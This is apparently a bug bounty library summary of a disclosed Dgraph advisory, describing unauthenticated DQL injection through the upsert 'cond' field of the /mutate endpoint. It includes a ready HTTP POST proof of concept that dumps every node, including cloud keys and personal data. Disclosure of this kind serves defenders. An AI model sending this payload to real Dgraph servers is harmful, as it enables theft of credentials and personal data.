# Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in Upsert Condition Field

Unauthenticated attacker injects a DQL query block into the upsert `cond` field of Dgraph's /mutate endpoint, exfiltrating the entire database in the response.

- Payout: Research
- Severity: critical
- Program: Dgraph
- Found by: VladimirEliTokarev
- Disclosed: 2026-04-24
- CVE: CVE-2026-41327
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mrxx-39g5-ph77
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-mrxx-39g5-ph77
- Tags: area:web domain:api impact:data-leak kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:sqli

**Target:** Dgraph Alpha HTTP /mutate endpoint (upsert cond field)
**Root cause:** buildUpsertQuery concatenates the user-supplied `cond` string into the DQL query via strings.Builder.WriteString after only a cosmetic `@if`->`@filter` replace, with no escaping or AST parsing, so an injected named query block is parsed and executed.
**Steps:**
1. Start Dgraph v25.3.0 with default config (ACL disabled).
2. Send `POST /mutate?commitNow=true` with body `{"query":"{ q(func: uid(0x1)) { uid } }","mutations":[{"set":[{"uid":"0x1","dgraph.type":"Dummy"}],"cond":"@if(eq(name, \"nonexistent\"))\n  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key gcp_service_account_key }"}]}` with no auth headers.
3. Handler unquotes cond via `strconv.Unquote`, passes verbatim to buildUpsertQuery which writes it into the DQL string.
4. Parser accepts the injected `leak(...)` block as a valid named query; authorizeQuery returns nil since AclSecretKey is unset.
5. Response `data.queries.leak` contains all matching nodes with secrets/credentials.
**How found:** Code review of buildUpsertQuery: noticed cond is spliced into the DQL string after only a strings.Replace, no escaping/parameterization; hypothesized the DQL parser accepts multiple query blocks in one container and that validateResult skips var queries and only checks duplicate aliases, allowing a uniquely-aliased injected block.
**Exploitation:** Single unauthenticated HTTP POST; the injected `leak(func: has(dgraph.type))` block runs alongside the upsert check and its results are serialized into the JSON response at http.go:498. The `@if` condition evaluates false so no write occurs — pure read exfiltration of every node and predicate including AWS/GCP keys and PII.
**Escalation:** With ACL enabled, a mutation-only user can still inject read queries bypassing per-predicate authorization since the injected block skips the normal auth flow.
**Insight:** When a query builder splices a user string into a DSL, test whether the parser accepts multiple top-level blocks in one container and whether validation only checks alias uniqueness — a unique alias lets an injected block ride along and its results get serialized back.

## Proof of concept (copied exactly from the original report)

**Crafted HTTP POST with DQL injection in cond**

```
POST /mutate?commitNow=true HTTP/1.1
Host: TARGET:8080
Content-Type: application/json

{
  "query": "{ q(func: uid(0x1)) { uid } }",
  "mutations": [{
    "set": [{"uid": "0x1", "dgraph.type": "Dummy"}],
    "cond": "@if(eq(name, \"nonexistent\"))\n  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key gcp_service_account_key }"
  }]
}
```

**Injected cond value opening new query block**

```
@if(eq(name, "nonexistent"))
  leak(func: has(dgraph.type)) { uid name email secret }
```

